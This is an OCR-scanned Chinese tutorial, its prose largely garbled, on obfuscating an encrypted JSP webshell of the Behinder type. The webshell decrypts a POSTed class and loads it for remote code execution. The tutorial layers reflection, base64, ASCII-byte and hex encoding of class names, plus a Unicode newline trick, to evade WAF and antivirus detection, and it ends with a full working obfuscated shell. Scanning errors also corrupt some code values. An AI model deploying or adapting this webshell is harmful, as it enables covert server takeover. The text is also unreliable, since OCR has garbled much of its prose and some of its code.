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RN E: WIHIfEKYEE JSP %R WebShell

TOOLS &5 KYg jsp (LIS X TR if
(request.getMethod().equals("POST")) { String k =

"cc03e747a6afbbeb"; // EIEZS ...

B 7T KB jsp (CIBIZATIRGE

if (request.getMethod().equals("POST")) {

String k = "cc@3e747a6afbbcb"; //EEE S test123
session.putValue("u", k);

//BZAESETEEs, AESEXSFRINE
Cipher c = Cipher.getInstance("AES");

//0BRIANTR, AEVIATERERE, initHEE—"128: 1uNE, 288
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

// MHTTPIERHA15E] 21t base64 4618 09201
String line = request.getReader().readlLine();

//base6dfiFitfE, SR MNERclassFH A
byte[] bytes = new BASE64Decoder().decodeBuffer(line);

//BRBEENClassF A

byte[] clazzBytes = c.doFinal(bytes);

//BERFEIHEIIWM, 55)classtHz
Class clazz = new U(this.getClass().getClassLoader()).g(clazzBytes);

// L ETERAequalssis, HILNERIclassEE Tequalshia
clazz.newInstance().equals(pageContext);

N RAZHFFFAI LT Windows10 BEHFNER T, SAXBEESI AT WAF
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7 (HiveRBETA0iE) P HB Ferhy
[ & Vapache—temcat=7. 0. 108 \webappsiroot' test?. jsp 2  olEViE 1548

AT 7KIEE B KN #2380 H RIS INEINZERY class 1943, MMSEHREEE
A3, BAIRFEERAELLEM LIS jsp RIS A 2R AT,

MT = ARSAAGAXABHAITEN:

XE{FR Class.forName('javax.crypto.Cipher") B9, 2N 7T EENFHSE
"javax.crypto.Cipher" #—3 (25

//Cipher c = Cipher.getInstance("AES");

//c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

/ /3% FEMRITER D TEE

Object ¢ = Class.forName("javax.crypto.Cipher™").getMethod("getInstance",
String.class).invoke(null, "AES");

Object aes =
Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class,
String.class).newInstance(k.getBytes(), "AES");
c.getClass().getMethod("init", int.class, java.security.Key.class).invoke(c,
2, aes);

//String line = request.getReader().readlLine();

/ /% EE—ATER D N EMIT

Object rl = request.getClass().getMethod("getReader").1invoke(request);
String line = (String)rl.getClass().getMethod("readlLine™).invoke(rl);

//byte[] bytes = new BASE64Decoder().decodeBuffer(line);
//byte[] clazzBytes = c.doFinal(bytes);

/ /% FEMRITESR D A

Class<?> b = Class.forName("sun.misc.BASE64Decoder™);
Object bytes = (byte[])b.getMethod("decodeBuffer",
String.class).invoke(b.newInstance(), line);

Object clazzBytes = Class.forName("javax.crypto.Cipher™).getMethod("doFinal",
byte[].class).invoke(c, bytes);

//

HERENIEEE I MEGY D B SERT . BXMEEN THIINEREIL

ET\@%O
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RN B E X ENEZ U T2

/**
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
b
public Class g(byte[] b) {
return super.defineClass(b, @, b.length);

b
3
BB TAE., XEREHEHERE,
*/

static class MyLoader extends ClassLoader {
private MylLoader mylLoader;
MyLoader(String strl, String str2) {

3

public void setMylLoader {
this.myLoader = mylLoader;

ks

public Class getClazz(byte throws Exception {

return (Class)
Class.forName("java.lang.ClassLoader™).getDeclaredMethod("defineClass" ,byte[].
class,int.class,int.class).invoke(myLoader,b,0,b.length);

}

158 R ZE N e s 75 TV B A N ECAS

// Class clazz = new U(this.getClass().getClassLoader()).g(clazzBytes);
MyLoader myLoader = new MylLoader("arbitraryStringl", "arbitraryString2");
myLoader.setMyLoader(myLoader);

Class clazz = myLoader.getClazz((byte[]) clazzBytes);

BENTRE Jsp XHE—1TERE, RARSBEREEEAANFTESE 7. B TA
XATHIER, BENOEREITEEAENERE, £RSREEESUFEN, —RASE
RSO EREMENINE, PFLOTRIRROCAS 2 MIBR=,

<%@page

import="javax.crypto.Cipher, javax.crypto.spec.SecretKeySpec,sun.misc.BASE64Dec
oder"%>

FERZEHER—:

HisEk, RO ZEXBE
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2 FARAD FETRE
ATED FEAE
FTIRYE FETAE

B RETREE

GAE RFBANFRESE CERMNGER) HdUN base64 RISHAEIGR
0o

//0bject ¢ = Class.forName("javax.crypto.Cipher").getMethod("getInstance",
String.class).invoke(null, "AES");

/728

sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();

String strl = new String(d.decodeBuffer("amF2YXguY3J5cHRvLkNpcGhlcg=="));
//javax.crypto.Cipher

String str2 = new String(d.decodeBuffer("Z2VOSW5zdGFuY2U=")); //getInstance
String str3 = new String(d.decodeBuffer("QUVT")); //AES

Object ¢ = Class.forName(strl).getMethod(str2, String.class).invoke(null,
str3);

BX base64 RiBE4E M FR ST ASCI 4843

// ASCII

sun.misc.BASEG64Decoder d = new sun.misc.BASE64Decoder();

String strl = new String(d.decodeBuffer(new String(new byte[]
{97,109,70,50,89,88,103,117,89,51,74,53,99,72,82,118,76,107,78,112,99,71,104,1
08,99,103,61,613}))); //javax.crypto.Cipher

String str2 = new String(d.decodeBuffer(new String(new byte[]
{90,50,86,48,83,87,53,122,100,71,70,117,89,50,85,61}))); //getInstance

String str3 = new String(d.decodeBuffer(new String(new byte[]{81,85,86,84})));
//AES

MR BURFRF 55 16 HEIBER,

// Hex

sun.misc.BASEG64Decoder d = new sun.misc.BASE64Decoder();

String strl = new String(d.decodeBuffer(new
String(DatatypeConverter.parseHexBinary("6a617661782e63727970746f2e43697068657
2")))); //javax.crypto.Cipher

String str2 = new String(d.decodeBuffer(new
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String(DatatypeConverter.parseHexBinary("676574496e7374616€6365"))));
//getlInstance

String str3 = new String(d.decodeBuffer(new
String(DatatypeConverter.parseHexBinary("414553")))); //AES

AR LEE Unicode #4775 (\u000d) )88, TERAIERENA, B\
U000d BT BAYEH BT RR4EE .

String strl = "";

//\u@0@dstrl = new String(d.decodeBuffer(new
String(DatatypeConverter.parseHexBinary("6a617661782e63727970746f2e43697068657
2")))); //javax.crypto.Cipher

=GR EE TR

<%!
static class MyLoader extends ClassLoader {

private MylLoader mylLoader;

MyLoader(String strl, String str2) {

3

public void setMylLoader(MylLoader mylLoader){

this.myLoader = mylLoader;

3
public Class getClazz(byte[] b) throws Exception {

sun.misc.BASE64Decoder d = new sun.misc.BASEG64Decoder();

String strl2 = new String(d.decodeBuffer(new String(new byte[]
{97,109,70,50,89,83,53,115,89,87,53,110,76,107,78,115,89,88,78,122,84,71,57,10
4,90,71,86,1213)));

String strl3 = new String(d.decodeBuffer(new String(new byte[]
{9%0,71,86,109,97,87,53,108,81,50,120,104,99,51,77,61})));

return (Class)
(Class.forName(strl2).getDeclaredMethod(strl3,byte[].class,int.class,int.class)
.invoke(myLoader,b,0,b.length);

3

3
%>
<%

if (request.getMethod().equals("POST")) {

String k = "cc@3e747a6afbbcb";//test123

session.putValue("u", k);

sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();

String strl = new String(d.decodeBuffer(new String(new byte[]
{97,109,70,50,89,88,103,117,89,51,74,53,99,72,82,118,76,107,78,112,99,71,104,1
08,99,103,61,613)));

String str2 = new String(d.decodeBuffer(new String(new byte[]
{90,50,86,48,83,87,53,122,100,71,70,117,89,50,85,61})));

String str3 = new String(d.decodeBuffer(new String(new byte[]
{81,85,86,84})));

String str4 = new String(d.decodeBuffer(new String(new byte[]
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{97,109,70,50,89,88,103,117,89,51,74,53,99,72,82,118,76,110,78,119,90,87,77,11
7,85,50,86,106,99,109,86,48,83,50,86,53,85,51,66,108,89,119,61,613})));

String str5 = new String(d.decodeBuffer(new String(new byte[]
{97,87,53,112,100,65,61,613)));

String stré = new String(d.decodeBuffer(new String(new byte[]
{90,50,86,48,85,109,86,104,90,71,86,1213})));

String str? = new String(d.decodeBuffer(new String(new byte[]

{99,109, 86,104,90,69,120,112,98,109,85,61})));

String str8 = new String(d.decodeBuffer(new String(new byte[]
{99,51,86,117,76,109,49,112,99,50,77,117,81,107,70,84,82,84,89,48,82,71,86,106
,98,50,82,108,99,103,61,61}1)));

String str9 = new String(d.decodeBuffer(new String(new byte[]
{9%0,71,86,106,98,50,82,108,81,110,86,109,90,109,86,121})));

String strl@ = new String(d.decodeBuffer(new String(new byte[]

{97,109,70,50,89,88,103,117,89,51,74,53,99,72,82,118,76,107,78,112,99,71,104,1
08,99,103,61,61})));

String strll = new String(d.decodeBuffer(new String(new byte[]
{90,71,57,71,97,87,53,104,98,65,61,61})));

Object c = (Class.forName(strl).getMethod(str2, String.class).invoke(null,
str3);

Object aes = (Class.forName(str4).getConstructor(byte[].class,
String.class).newInstance(k.getBytes(), str3);

c.getClass().getMethod(str5, int.class, java.security.Key.class).invoke(c,
2, aes);

Object rl = request.getClass().getMethod(str6).invoke(request);

String line = (String)rl.getClass().getMethod(str?7).invoke(rl);

Class<?> b = Class.forName(str8);

Object bytes = b.getMethod(str9, String.class).invoke(b.newInstance(),
line);

Object clazzBytes = Class.forName(strl@).getMethod(strll,
byte[].class).invoke(c, bytes);

MyLoader myLoader = new MylLoader("arbitraryStringl", "arbitraryString2");

myLoader.setMylLoader(myLoader);

Class clazz = myLoader.getClazz((byte[]) clazzBytes);

clazz.newInstance().equals(pageContext);

}
%>
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